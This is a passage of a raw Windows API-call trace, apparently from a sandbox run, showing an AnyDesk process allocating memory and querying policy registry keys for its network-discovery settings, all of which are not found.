returned 4 [0194.166] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab28 | out: hHeap=0x3b0000) returned 1 [0194.166] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3f) returned 0xe10bd0 [0194.166] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe02b60 [0194.166] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10bd0 | out: hHeap=0x3b0000) returned 1 [0194.166] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab28 [0194.166] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54d88 [0194.166] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe324f8 [0194.167] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab28 | out: hHeap=0x3b0000) returned 1 [0194.167] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.167] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe02b98 [0194.167] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.multicastport", lpReserved=0x0, lpType=0x2a7b5b0, lpData=0x0, lpcbData=0x2a7b5b4*=0x0 | out: lpType=0x2a7b5b0*=0x0, lpData=0x0, lpcbData=0x2a7b5b4*=0x0) returned 0x6 [0194.167] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b5dc | out: phkResult=0x2a7b5dc*=0x0) returned 0x2 [0194.167] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02b98 | out: hHeap=0x3b0000) returned 1 [0194.167] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab08 [0194.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.167] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab28 [0194.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ab28, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.167] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab28 | out: hHeap=0x3b0000) returned 1 [0194.167] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3f) returned 0xe10bd0 [0194.168] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe02b98 [0194.168] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10bd0 | out: hHeap=0x3b0000) returned 1 [0194.168] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab28 [0194.168] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54da8 [0194.168] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe32638 [0194.168] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab28 | out: hHeap=0x3b0000) returned 1 [0194.168] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.168] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe02bd0 [0194.168] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.multicastport", lpReserved=0x0, lpType=0x2a7b5b0, lpData=0x0, lpcbData=0x2a7b5b4*=0x0 | out: lpType=0x2a7b5b0*=0x0, lpData=0x0, lpcbData=0x2a7b5b4*=0x0) returned 0x6 [0194.168] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b5dc | out: phkResult=0x2a7b5dc*=0x0) returned 0x2 [0194.169] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02bd0 | out: hHeap=0x3b0000) returned 1 [0194.169] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aaf8 | out: hHeap=0x3b0000) returned 1 [0194.169] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc) returned 0xe54fd0 [0194.169] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab18 | out: hHeap=0x3b0000) returned 1 [0194.169] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54fd0 | out: hHeap=0x3b0000) returned 1 [0194.169] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe322f8 | out: hHeap=0x3b0000) returned 1 [0194.169] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aa98 | out: hHeap=0x3b0000) returned 1 [0194.169] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aa98 [0194.169] GetLastError () returned 0x0 [0194.170] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.repeatinterval", lpReserved=0x0, lpType=0x2a7b608, lpData=0x0, lpcbData=0x2a7b60c*=0x0 | out: lpType=0x2a7b608*=0x0, lpData=0x0, lpcbData=0x2a7b60c*=0x0) returned 0x6 [0194.170] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b634 | out: phkResult=0x2a7b634*=0x0) returned 0x2 [0194.170] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32578 | out: hHeap=0x3b0000) returned 1 [0194.171] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aaf8 [0194.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.171] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab08 [0194.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ab08, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.171] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.171] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x41) returned 0xe2fb28 [0194.171] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe32578 [0194.171] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fb28 | out: hHeap=0x3b0000) returned 1 [0194.171] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab08 [0194.171] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54de8 [0194.171] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe10d38 [0194.171] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.171] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aaf8 | out: hHeap=0x3b0000) returned 1 [0194.171] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe326b8 [0194.172] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.repeatinterval", lpReserved=0x0, lpType=0x2a7b608, lpData=0x0, lpcbData=0x2a7b60c*=0x0 | out: lpType=0x2a7b608*=0x0, lpData=0x0, lpcbData=0x2a7b60c*=0x0) returned 0x6 [0194.172] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b634 | out: phkResult=0x2a7b634*=0x0) returned 0x2 [0194.172] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe326b8 | out: hHeap=0x3b0000) returned 1 [0194.172] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aae8 | out: hHeap=0x3b0000) returned 1 [0194.172] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe54fd0 [0194.172] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab18 | out: hHeap=0x3b0000) returned 1 [0194.172] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54fd0 | out: hHeap=0x3b0000) returned 1 [0194.172] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10bd0 | out: hHeap=0x3b0000) returned 1 [0194.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a06574, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 26 [0194.172] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe326b8 [0194.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a06574, cbMultiByte=-1, lpWideCharStr=0xe326b8, cchWideChar=26 | out: lpWideCharStr="ad.discovery.repeat_limit") returned 26 [0194.172] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab18 [0194.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0194.172] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aae8 [0194.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4aae8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0194.173] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aaf8 [0194.173] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.173] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab08 [0194.173] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ab08, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.173] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.173] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3b) returned 0xe10bd0 [0194.173] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe02bd0 [0194.173] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10bd0 | out: hHeap=0x3b0000) returned 1 [0194.173] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab08 [0194.173] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54e08 [0194.173] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe325f8 [0194.173] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.173] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aaf8 | out: hHeap=0x3b0000) returned 1 [0194.173] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe02c08 [0194.173] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.repeatlimit", lpReserved=0x0, lpType=0x2a7b608, lpData=0x0, lpcbData=0x2a7b60c*=0x0 | out: lpType=0x2a7b608*=0x0, lpData=0x0, lpcbData=0x2a7b60c*=0x0) returned 0x6 [0194.173] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b634 | out: phkResult=0x2a7b634*=0x0) returned 0x2 [0194.174] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02c08 | out: hHeap=0x3b0000) returned 1 [0194.174] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aaf8 [0194.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.174] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab08 [0194.175] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ab08, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.175] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.175] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3b) returned 0xe10bd0 [0194.175] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe02c08 [0194.175] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10bd0 | out: hHeap=0x3b0000) returned 1 [0194.175] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab08 [0194.175] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54e28 [0194.175] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe32738 [0194.176] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.176] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aaf8 | out: hHeap=0x3b0000) returned 1 [0194.176] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe55788 [0194.176] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.repeatlimit", lpReserved=0x0, lpType=0x2a7b608, lpData=0x0, lpcbData=0x2a7b60c*=0x0 | out: lpType=0x2a7b608*=0x0, lpData=0x0, lpcbData=0x2a7b60c*=0x0) returned 0x6 [0194.176] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b634 | out: phkResult=0x2a7b634*=0x0) returned 0x2 [0194.177] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55788 | out: hHeap=0x3b0000) returned 1 [0194.177] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab18 | out: hHeap=0x3b0000) returned 1 [0194.177] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6) returned 0xe4ab18 [0194.177] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aae8 | out: hHeap=0x3b0000) returned 1 [0194.177] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab18 | out: hHeap=0x3b0000) returned 1 [0194.177] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe326b8 | out: hHeap=0x3b0000) returned 1 [0194.177] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a06590, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 29 [0194.177] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe10bd0 [0194.177] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a06590, cbMultiByte=-1, lpWideCharStr=0xe10bd0, cchWideChar=29 | out: lpWideCharStr="ad.discovery.buffer_interval") returned 29 [0194.177] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab18 [0194.177] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0194.178] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aae8 [0194.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4aae8, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0194.178] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aaf8 [0194.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.178] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab08 [0194.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ab08, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.178] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.178] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x41) returned 0xe2fb28 [0194.178] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe326b8 [0194.178] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fb28 | out: hHeap=0x3b0000) returned 1 [0194.178] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab08 [0194.179] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54e48 [0194.179] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe10d80 [0194.179] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.179] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aaf8 | out: hHeap=0x3b0000) returned 1 [0194.179] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe32678 [0194.179] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.bufferinterval", lpReserved=0x0, lpType=0x2a7b608, lpData=0x0, lpcbData=0x2a7b60c*=0x0 | out: lpType=0x2a7b608*=0x0, lpData=0x0, lpcbData=0x2a7b60c*=0x0) returned 0x6 [0194.179] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b634 | out: phkResult=0x2a7b634*=0x0) returned 0x2 [0194.179] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32678 | out: hHeap=0x3b0000) returned 1 [0194.180] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aaf8 [0194.180] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.180] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab08 [0194.180] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ab08, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.180] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.180] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x41) returned 0xe2fb28 [0194.180] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe32678 [0194.180] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fb28 | out: hHeap=0x3b0000) returned 1 [0194.192] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab08 [0194.192] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54e68 [0194.192] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe10dc8 [0194.192] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.192] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aaf8 | out: hHeap=0x3b0000) returned 1 [0194.192] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe327b8 [0194.192] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.bufferinterval", lpReserved=0x0, lpType=0x2a7b608, lpData=0x0, lpcbData=0x2a7b60c*=0x0 | out: lpType=0x2a7b608*=0x0, lpData=0x0, lpcbData=0x2a7b60c*=0x0) returned 0x6 [0194.192] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b634 | out: phkResult=0x2a7b634*=0x0) returned 0x2 [0194.193] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe327b8 | out: hHeap=0x3b0000) returned 1 [0194.193] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab18 | out: hHeap=0x3b0000) returned 1 [0194.193] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe54fe8 [0194.193] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aae8 | out: hHeap=0x3b0000) returned 1 [0194.193] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54fe8 | out: hHeap=0x3b0000) returned 1 [0194.193] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe10bd0 | out: hHeap=0x3b0000) returned 1 [0194.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a065b0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0194.194] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe55788 [0194.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a065b0, cbMultiByte=-1, lpWideCharStr=0xe55788, cchWideChar=24 | out: lpWideCharStr="ad.discovery.port_range") returned 24 [0194.194] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aae8 [0194.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0194.194] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab18 [0194.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ab18, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0194.194] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aaf8 [0194.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.194] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab08 [0194.194] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ab08, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.194] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.194] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x37) returned 0xe327b8 [0194.194] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe32f88 [0194.194] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe327b8 | out: hHeap=0x3b0000) returned 1 [0194.195] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab08 [0194.195] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54e88 [0194.195] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe557c0 [0194.195] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.195] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aaf8 | out: hHeap=0x3b0000) returned 1 [0194.195] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe331c8 [0194.195] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.portrange", lpReserved=0x0, lpType=0x2a7b600, lpData=0x0, lpcbData=0x2a7b604*=0x0 | out: lpType=0x2a7b600*=0x0, lpData=0x0, lpcbData=0x2a7b604*=0x0) returned 0x6 [0194.195] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b62c | out: phkResult=0x2a7b62c*=0x0) returned 0x2 [0194.195] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe331c8 | out: hHeap=0x3b0000) returned 1 [0194.196] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aaf8 [0194.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.196] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4ab08 [0194.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4ab08, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.196] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.196] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x37) returned 0xe327b8 [0194.196] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe331c8 [0194.196] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe327b8 | out: hHeap=0x3b0000) returned 1 [0194.196] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab08 [0194.196] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe54ea8 [0194.196] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe557f8 [0194.196] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab08 | out: hHeap=0x3b0000) returned 1 [0194.196] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aaf8 | out: hHeap=0x3b0000) returned 1 [0194.196] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe33228 [0194.196] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.portrange", lpReserved=0x0, lpType=0x2a7b600, lpData=0x0, lpcbData=0x2a7b604*=0x0 | out: lpType=0x2a7b600*=0x0, lpData=0x0, lpcbData=0x2a7b604*=0x0) returned 0x6 [0194.196] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b62c | out: phkResult=0x2a7b62c*=0x0) returned 0x2 [0194.197] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33228 | out: hHeap=0x3b0000) returned 1 